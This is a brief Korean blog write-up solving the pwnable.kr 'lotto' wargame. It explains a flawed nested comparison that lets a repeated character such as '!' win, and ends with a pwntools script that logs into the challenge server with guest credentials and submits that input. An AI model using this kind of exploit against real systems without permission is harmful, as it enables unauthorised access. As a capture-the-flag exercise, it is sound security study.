13. lotto


1

로또 프로그램이란다


2

바로 코드를 봤고

play() 함수만 보면 된다.


3

난수를 발생시켜 로또 숫자를 생성한다.


4

생성한 로또 번호를 모듈러 연산으로 1~45의 값만 가지게 하는데


5

유저가 키보드로 입력할 수 있는 값은 33("!")부터다..

1~ 32는 키보드로 입력할 수 없는 값인데..

어떻게 맞추나 했는데 로또 숫자 조건 검사식이 조금 이상하다.


6

lotto[i] == submit[j]

i.. j…

로또의 각 숫자를 제출한 6자리의 각 숫자와 비교하고..

맞을 경우 match가 증가한다.

제출을 같은 숫자 6자리로 제출하고…

로또의 6자리 수 중 하나라도 맞추면 정답인데..

경우의 수가 엄청 많아보이지만.. 넣을 수 있는 값인 33("!")을 반복해서 넣어서 일단 시도해봤다.


7


pwntools

from pwn import *
 
id   = 'lotto'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
s = ssh(id, host, port=port, password=pw)
 
res = s.run('./lotto')
res.recvuntil('Exit')
res.sendline('1')
res.recvuntil(':')
res.sendline('!!!!!!')
res.interactive()





© 2020.02. by blupine